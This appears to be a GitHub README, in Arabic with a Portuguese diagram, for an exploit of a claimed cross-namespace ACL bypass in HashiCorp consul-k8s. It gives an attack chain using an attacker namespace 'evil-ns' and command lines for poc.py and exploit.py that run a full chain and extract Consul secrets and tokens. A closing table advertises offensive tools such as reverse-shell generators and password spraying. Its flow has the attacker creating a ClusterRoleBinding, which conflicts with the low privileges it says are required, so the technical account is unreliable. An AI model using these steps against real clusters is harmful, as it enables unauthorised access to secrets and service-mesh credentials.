CVE-2026-110720 - إثبات مفهوم واستغلال تجاوز قوائم التحكم بالوصول (ACL) عبر مساحات الأسماء في HashiCorp consul-k8s
تسمح ClusterRoleBindings غير المقيّدة بالنطاق (namespace) لأي ServiceAccount بتجاوز ACLs الخاصة بـ Consul في عناقيد Kubernetes.
CVE-2026-110720 v3.0.0 | consul-k8s Cross-Namespace ACL Bypass
By Gh0st-Bx1 | github.com/Ghost-Bx1
يقوم consul-k8s (الإصدارات 0.42.0 إلى 2.0.4) بإنشاء ClusterRoleBindings وServiceAccounts للمكونات الداخلية لـ Consul دون تقييد الربط حسب namespace. عند تفعيل global.acls.manageSystemACLs=true، يمكن لـ ServiceAccount تم إنشاؤه في أي namespace أن يصادق على خادم Consul كما لو كان مكونًا من مكونات النظام، متجاوزًا بذلك namespace الخاص بـ ACL بالكامل.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-110720 |
| CVSS | 9.9 (حرج) |
| CWE | CWE-863 (تفويض غير صحيح) |
| Advisory | HCSEC-2026-50 |
| المورّد | HashiCorp |
| المنتج | consul-k8s |
| يتطلب | K8s: إنشاء SA + الحصول على token في namespace آخر + الوصول الشبكي إلى Consul API |
| التاريخ | أكتوبر 2026 |
| الإصدار | الحالة |
|---|---|
| consul-k8s 0.42.0 - 2.0.4 | عرضة للثغرة |
| consul-k8s >= 2.1.0 | تم إصلاحه |
| consul-k8s >= 1.8.18 (backport) | تم إصلاحه |
Cluster K8s com consul-k8s + manageSystemACLs=true
|
v
consul-k8s cria ClusterRoleBinding sem restricao de namespace:
subjects:
- kind: ServiceAccount
name: consul-server-acl-init
namespace: consul <-- sem validacao de outros namespaces
|
v
Atacante cria namespace "evil-ns" e SA "consul-server-acl-init"
|
v
Atacante cria ClusterRoleBinding apontando seu SA
para o ClusterRole do Consul
|
v
Token do SA do atacante autentica como componente de sistema
no servidor Consul ACL
|
v
Acesso a: ACL tokens, service mesh policies, KV store secrets
| ServiceAccount | الصلاحية |
|---|---|
| consul-server-acl-init | Bootstrap ACL |
| consul-client-acl-init | Client registration |
| consul-connect-inject-acl-init | Service mesh tokens |
| consul-sync-catalog-acl-init | Catalog sync |
python poc.py --check-install --namespace consul
python poc.py --list-bindings --namespace consul
python poc.py --check-acl --namespace consul
python poc.py --gen-sa --attacker-ns evil-ns --output /tmp/bypass.yaml
kubectl apply -f /tmp/bypass.yaml
python exploit.py --check --namespace consul
python exploit.py --exploit --namespace consul --attacker-ns ghost-exploit-ns
python exploit.py --full-chain --namespace consul
# Apos obter o token K8s do SA comprometido:
python exploit.py --consul-extract <k8s-jwt-token> --namespace consul
python exploit.py --cleanup --attacker-ns ghost-exploit-ns
# Verificar bindings vulneraveis
kubectl get clusterrolebinding -o json | jq '.items[] | select(.metadata.name | contains("consul")) | .subjects'
هذا المستودع مخصص لأغراض تعليمية وبحثية في مجال الأمن. استخدمه فقط في البيئات المصرح بها وبإذن صريح. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
| Tool | Description |
|---|---|
| ghost-ad | Active Directory - LDAP، Kerberoasting، AS-REP Roasting، BloodHound-lite |
| ghost-cloud | أمن السحابة - ماسح ضوئي لسوء التكوين في AWS وAzure وGCP |
| ghost-fuzz | Fuzzing للويب - تخمين الأدلة بالقوة الغاشمة، fuzzing للمعاملات، تعداد vhost |
| ghost-osint | OSINT - استخبارات النطاقات والبريد الإلكتروني وعناوين IP من مصادر عامة |
| ghost-privesc | تصعيد الصلاحيات - فاحص تصعيد الصلاحيات في Linux، 17 متجهًا، GTFOBins |
| ghost-recon | الاستطلاع - DNS، SSL، WAF، تعداد النطاقات الفرعية، أمن البريد الإلكتروني |
| ghost-report | إعداد التقارير - مولّد تقارير اختبار الاختراق من أي مخرجات JSON الخاصة بـ ghost-* |
| ghost-scan | ماسح المنافذ - ماسح TCP/UDP غير متزامن مع التقاط البانرات وربط CVE |
| ghost-shell | توليد الحمولات - مولّد reverse shell وweb shell، أكثر من 25 لغة |
| ghost-spray | هجمات بيانات الاعتماد - رش كلمات المرور، stuffing، اختبار بيانات الاعتماد الافتراضية |
| ghost-wifi | هجمات WiFi - وضع المراقبة، deauth، التقاط WPA/WPA2، PMKID، WPS، Evil Twin |
بواسطة Gh0st-Bx1